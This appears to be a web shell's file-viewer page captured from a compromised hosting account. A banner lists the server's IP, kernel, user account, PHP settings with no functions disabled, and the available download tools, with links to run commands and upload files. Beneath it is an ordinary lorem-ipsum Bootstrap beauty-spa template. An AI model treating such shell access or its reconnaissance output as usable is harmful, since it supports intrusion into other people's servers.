|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/asiatourhub/admin/site/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="zxx">
<head>
<title>Skin Beauty Beauty & Spa Category Bootstrap Responsive Web Template | Single Page :: W3layouts</title>
<!-- Meta tag Keywords -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="UTF-8" />
<meta name="keywords" content="Skin Beauty Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" />
<script>
addEventListener("load", function () {
setTimeout(hideURLbar, 0);
}, false);
function hideURLbar() {
window.scrollTo(0, 1);
}
</script>
<!-- //Meta tag Keywords -->
<!-- Custom-Files -->
<link rel="stylesheet" href="css/bootstrap.css">
<!-- Bootstrap-Core-CSS -->
<link rel="stylesheet" href="css/blog.css" type="text/css" media="all" />
<!-- Blog-CSS -->
<link rel="stylesheet" href="css/style.css" type="text/css" media="all" />
<!-- Style-CSS -->
<link href="css/font-awesome.min.css" rel="stylesheet">
<!-- Font-Awesome-Icons-CSS -->
<!-- //Custom-Files -->
<!-- Web-Fonts -->
<link href="//fonts.googleapis.com/css?family=Nunito+Sans:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i&subset=latin-ext,vietnamese"
rel="stylesheet">
<link href="//fonts.googleapis.com/css?family=Roboto+Condensed:300,300i,400,400i,700,700i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese"
rel="stylesheet">
<!-- //Web-Fonts -->
</head>
<body>
<!-- main banner -->
<div class="main-top" id="home">
<!-- header -->
<header>
<div class="container-fluid">
<div class="header d-md-flex justify-content-between align-items-center py-3 px-xl-5 px-lg-3 px-2">
<!-- logo -->
<div id="logo">
<h1><a class="" href="index.html">Skin Beauty</a></h1>
</div>
<!-- //logo -->
<!-- nav -->
<div class="nav_w3ls">
<nav>
<label for="drop" class="toggle">Menu</label>
<input type="checkbox" id="drop" />
<ul class="menu">
<li><a href="index.html">Home</a></li>
<li class="mx-lg-4 mx-md-3 my-md-0 my-2"><a href="about.html">About Us</a></li>
<li><a href="gallery.html">Gallery</a></li>
<li class="mx-lg-4 mx-md-3 my-md-0 my-2">
<!-- First Tier Drop Down -->
<label for="drop-2" class="toggle toogle-2">Dropdown <span class="fa fa-angle-down" aria-hidden="true"></span>
</label>
<a href="#" class="active">Dropdown <span class="fa fa-angle-down" aria-hidden="true"></span></a>
<input type="checkbox" id="drop-2" />
<ul>
<li><a href="index.html" class="drop-text">Services</a></li>
<li><a href="blog.html" class="drop-text">Blog</a></li>
<li><a href="single.html" class="drop-text active">Single Page</a></li>
<li><a href="about.html" class="drop-text">Testimonials</a></li>
</ul>
</li>
<li><a href="contact.html">Contact Us</a></li>
</ul>
</nav>
</div>
<!-- //nav -->
</div>
</div>
</header>
<!-- //header -->
<!-- banner -->
<div class="banner_w3lspvt-2">
</div>
<!-- //banner -->
</div>
<!-- //main banner -->
<!-- page details -->
<div class="breadcrumb-agile">
<ol class="breadcrumb">
<li class="breadcrumb-item">
<a href="index.html">Home</a>
</li>
<li class="breadcrumb-item active" aria-current="page">Single Page</li>
</ol>
</div>
<!-- //page details -->
<!-- single -->
<div class="blog-w3l py-5">
<div class="container py-xl-5 py-lg-3">
<h3 class="title text-center text-bl font-weight-bold mb-1">Single Page</h3>
<p class="title-sub text-center mb-sm-5 mb-4">Caption placed here</p>
<div class="row blog-content pt-lg-3">
<!-- left side -->
<div class="col-lg-8 left-blog-info text-left">
<div class="blog-grid-top">
<div class="b-grid-top">
<div class="blog_info_left_grid">
<a href="single.html">
<img src="images/blog2.jpg" class="img-fluid" alt="">
</a>
</div>
</div>
<h3>
<a href="single.html" class="single-text text-dark font-weight-light">Nemo enim ipsam voluptatem quia
voluptas
sit aspernatur aut odit aut fugit 2018</a>
</h3>
<p>Lorem ipsum dolor sit amet consectetur adipisicing elit sedc dnmo eiusmod tempor incididunt ut labore et
dolore magna
aliqua uta enim ad minim ven iam quis nostrud exercitation ullamco labor nisi ut aliquip exea commodo
consequat
duis
aute irudre dolor in elit sed uta labore dolore reprehender</p>
<p class="my-3">Ullamco labor nisi ut aliquip exea commodo consequat duis aute irudre dolor in elit sed uta
labore dolore reprehender</p>
<p>Jabore et dolore magna aliqua uta enim ad minim ven iam quis nostrud exercitation ullamco labor nisi ut
<span class="text-danger">aliquip exea commodo consequat duis aute irudre dolor in elit sed uta labore dolore
reprehender</span>
</p>
<h3>
<a href="single.html" class="single-text text-dark font-weight-light">Nemo enim ipsam voluptatem quia
voluptas
sit aspernatur aut odit aut fugit 2018</a>
</h3>
<p class="my-3">Ullamco labor nisi ut aliquip exea commodo consequat duis aute irudre dolor in elit sed uta
labore dolore reprehender</p>
<p>Lorem ipsum dolor sit amet consectetur adipisicing elit sedc dnmo eiusmod tempor incididunt ut labore et
dolore magna
aliqua uta enim ad minim ven iam quis nostrud exercitation ullamco labor nisi ut aliquip exea commodo
consequat
duis
aute irudre dolor in elit sed uta labore dolore reprehender</p>
</div>
<div class="comment-top mt-4">
<h4>Comments</h4>
<div class="media">
<img src="images/te1.jpg" alt="" class="img-fluid" />
<div class="media-body pt-xl-2 pl-3">
<h5 class="mb-2">Joseph Goh</h5>
<p>Lorem Ipsum convallis diam consequat magna vulputate malesuada. id dignissim sapien velit id felis ac
cursus eros.
Cras a ornare elit.</p>
<div class="media my-5">
<a class="d-flex pr-3" href="#">
<img src="images/te2.jpg" alt="" class="img-fluid" />
</a>
<div class="media-body pt-xl-2">
<h5 class="mb-2">Richard Spark</h5>
<p>Lorem Ipsum convallis diam consequat magna vulputate malesuada. id dignissim sapien velit id felis.</p>
</div>
</div>
</div>
</div>
<div class="media">
<img src="images/te3.jpg" alt="" class="img-fluid" />
<div class="media-body pt-xl-2 pl-3">
<h5 class="mb-2">Goh James</h5>
<p>Lorem Ipsum convallis diam consequat magna vulputate malesuada. id dignissim sapien velit id felis ac
cursus eros.
Cras a ornare elit.</p>
</div>
</div>
</div>
<div class="comment-top mt-5">
<h4>Leave a Comment</h4>
<div class="comment-bottom">
<form action="#" method="post">
<div class="form-group">
<input class="form-control" type="text" name="Name" placeholder="Name" required="">
</div>
<div class="form-group">
<input class="form-control" type="email" name="Email" placeholder="Email" required="">
</div>
<div class="form-group">
<input class="form-control" type="text" name="Subject" placeholder="Subject" required="">
</div>
<div class="form-group">
<textarea class="form-control" name="Message" placeholder="Message..." required=""></textarea>
</div>
<button type="submit" class="btn btn-primary submit">Submit</button>
</form>
</div>
</div>
</div>
<!-- //left side -->
<!-- right side -->
<div class="col-lg-4 event-right mt-lg-0 mt-sm-5 mt-4">
<div class="event-right1">
<div class="category-story tech-btm">
<h3 class="blog-title text-bl mb-3">More Stories</h3>
<ul class="list-unstyled">
<li class="border-bottom mb-3 pb-3">
<i class="fa fa-caret-right mr-2"></i>
<a href="#" class="text-danger">sed do eiusmod tempor incididunt ut labore et dolore magna aliqua</a>
</li>
<li class="border-bottom mb-3 pb-3">
<i class="fa fa-caret-right mr-2"></i>
<a href="#" class="text-danger">sed do eiusmod tempor incididunt ut labore et dolore magna aliqua</a>
</li>
<li class="border-bottom mb-3 pb-3">
<i class="fa fa-caret-right mr-2"></i>
<a href="#" class="text-danger">sed do eiusmod tempor incididunt ut labore et dolore magna aliqua</a>
</li>
<li class="border-bottom mb-3 pb-3">
<i class="fa fa-caret-right mr-2"></i>
<a href="#" class="text-danger">sed do eiusmod tempor incididunt ut labore et dolore magna aliqua</a>
</li>
<li class="border-bottom mb-3 pb-3">
<i class="fa fa-caret-right mr-2"></i>
<a href="#" class="text-danger">sed do eiusmod tempor incididunt ut labore et dolore magna aliqua</a>
</li>
<li>
<i class="fa fa-caret-right mr-2"></i>
<a href="#" class="text-danger">sed do eiusmod tempor incididunt ut labore et dolore magna aliqua</a>
</li>
</ul>
</div>
<div class="categories my-4">
<h3 class="blog-title text-bl mb-3">Categories</h3>
<ul class="list-group single">
<li class="list-group-item d-flex justify-content-between align-items-center">
Cras justo odio
<span class="badge badge-primary badge-pill">14</span>
</li>
<li class="list-group-item d-flex justify-content-between align-items-center">
Dapibus ac facilisis in
<span class="badge badge-primary badge-pill">2</span>
</li>
<li class="list-group-item d-flex justify-content-between align-items-center">
Morbi leo risus
<span class="badge badge-primary badge-pill">1</span>
</li>
</ul>
</div>
<div class="search1">
<h3 class="blog-title text-bl mb-3">Search</h3>
<form class="form-inline" action="#" method="post">
<input class="form-control rounded-0 mr-sm-2" type="search" placeholder="Search Here" name="Search"
required>
<button class="btn text-wh rounded-0 mt-3" type="submit">Search</button>
</form>
</div>
<div class="posts p-4 border my-4">
<h3 class="blog-title text-bl mb-3">Our Events</h3>
<div class="posts-grids">
<div class="row posts-grid">
<div class="col-lg-4 col-md-3 col-4 posts-grid-left pr-0">
<a href="single.html">
<img src="images/f1.jpg" alt=" " class="img-fluid" />
</a>
</div>
<div class="col-lg-8 col-md-7 col-8 posts-grid-right">
<h4>
<a href="single.html" class="text-bl">Sed ut perspiciatis unde omni</a>
</h4>
<ul class="wthree_blog_events_list mt-2">
<li class="mr-2 text-bl">
<i class="fa fa-calendar mr-2" aria-hidden="true"></i>15/05/18</li>
<li>
<i class="fa fa-user" aria-hidden="true"></i>
<a href="single.html" class="text-bl ml-2">Admin</a>
</li>
</ul>
</div>
</div>
<div class="row posts-grid mt-4">
<div class="col-lg-4 col-md-3 col-4 posts-grid-left pr-0">
<a href="single.html">
<img src="images/f3.jpg" alt=" " class="img-fluid" />
</a>
</div>
<div class="col-lg-8 col-md-7 col-8 posts-grid-right">
<h4>
<a href="single.html" class="text-bl">Sed ut perspiciatis unde omni</a>
</h4>
<ul class="wthree_blog_events_list mt-2">
<li class="mr-2 text-bl">
<i class="fa fa-calendar mr-2" aria-hidden="true"></i>23/05/18</li>
<li>
<i class="fa fa-user" aria-hidden="true"></i>
<a href="single.html" class="text-bl ml-2">Admin</a>
</li>
</ul>
</div>
</div>
<div class="row posts-grid mt-4">
<div class="col-lg-4 col-md-3 col-4 posts-grid-left pr-0">
<a href="single.html">
<img src="images/f6.jpg" alt=" " class="img-fluid" />
</a>
</div>
<div class="col-lg-8 col-md-7 col-8 posts-grid-right">
<h4>
<a href="single.html" class="text-bl">Sed ut perspiciatis unde omni</a>
</h4>
<ul class="wthree_blog_events_list mt-2">
<li class="mr-2 text-bl">
<i class="fa fa-calendar mr-2" aria-hidden="true"></i>13/06/18</li>
<li>
<i class="fa fa-user" aria-hidden="true"></i>
<a href="single.html" class="text-bl ml-2">Admin</a>
</li>
</ul>
</div>
</div>
</div>
</div>
<div class="tags p-4 border">
<h3 class="blog-title text-bl">Recent Tags</h3>
<ul class="mt-4">
<li>
<a href="single.html" class="text-bl border">Designs</a>
</li>
<li>
<a href="single.html" class="text-bl border">Growth</a>
</li>
<li>
<a href="single.html" class="text-bl border">Latest</a>
</li>
<li>
<a href="single.html" class="text-bl border">Price</a>
</li>
<li>
<a href="single.html" class="text-bl border">Tools</a>
</li>
<li>
<a href="single.html" class="text-bl border">Style</a>
</li>
<li>
<a href="single.html" class="text-bl border">Model</a>
</li>
<li>
<a href="single.html" class="text-bl border">New Trends</a>
</li>
<li>
<a href="single.html" class="text-bl border">Advantage</a>
</li>
<li>
<a href="single.html" class="text-bl border">Excellent</a>
</li>
<li>
<a href="single.html" class="text-bl border">Beautiful</a>
</li>
<li>
<a href="single.html" class="text-bl border">Styles</a>
</li>
<li>
<a href="single.html" class="text-bl border">Research</a>
</li>
<li>
<a href="single.html" class="text-bl border">Trendy</a>
</li>
</ul>
</div>
</div>
</div>
<!-- //right side -->
</div>
</div>
</div>
<!-- //single -->
<!-- footer -->
<footer class="footer-w3ls py-5">
<div class="container py-sm-4">
<div class="row">
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid">
<!-- logo -->
<div class="logo-2 mb-sm-4 mb-3">
<h2><a href="index.html">Skin Beauty</a></h2>
</div>
<!-- //logo -->
<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid mt-sm-0 mt-5">
<h4 class="mb-sm-5 mb-4">Recent Articles</h4>
<ul class="list-unstyled">
<li>
<span class="fa fa-angle-double-right mr-2"></span> Ut enim ad minima ven aiam</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span> Fugiat nulla pariatur
</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span> Olor in repreh enderit</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span>Duis aute irure dolor</li>
</ul>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid pl-lg-0 mt-lg-0 mt-5">
<h4 class="mb-sm-5 mb-4">Instagram Posts</h4>
<div class="d-flex">
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f1.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f2.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f3.jpg" alt=" " class="img-fluid">
</a>
</div>
</div>
<div class="d-flex mt-2">
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f4.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f5.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f6.jpg" alt=" " class="img-fluid">
</a>
</div>
</div>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid mt-lg-0 mt-5">
<h4 class="mb-sm-5 mb-4">Address</h4>
<ul class="list-unstyled">
<li>
<span class="fa fa-map-marker mr-2"></span> 738 Diamond Road, New York</li>
<li>
<span class="fa fa-envelope mr-2"></span>
<a href="mailto:info@example.com">info@example.com</a>
</li>
<li>
<span class="fa fa-phone mr-2"></span> (0123) 0111 111 222</li>
<li>
<span class="fa fa-clock-o mr-2"></span>Everyday 9:00-17:00</li>
</ul>
</div>
</div>
</div>
</footer>
<!-- //footer -->
<!-- footer last -->
<div class="newsletter-main text-center py-md-5 py-4">
<div class="container">
<a href="#home" class="move-top text-center"></a>
<!-- newsletter -->
<div class="agileinfo_footer_grid mt-3">
<h4 class="mb-4">Subscribe Here</h4>
<form action="#" method="post" class="newsletter">
<input class="email" type="email" name="email" placeholder="Your email..." required>
<button type="submit" class="btn">Subscribe</button>
</form>
<div class="clearfix"> </div>
</div>
<!-- //newsletter -->
<!-- copyright -->
<div class="w3agile_footer_copy mt-sm-5 mt-4">
<p>© 2019 Skin Beauty. All rights reserved | Design by
<a href="http://w3layouts.com/">W3layouts.</a>
</p>
</div>
<!-- //copyright -->
</div>
</div>
<!-- //footer last -->
</body>
</html>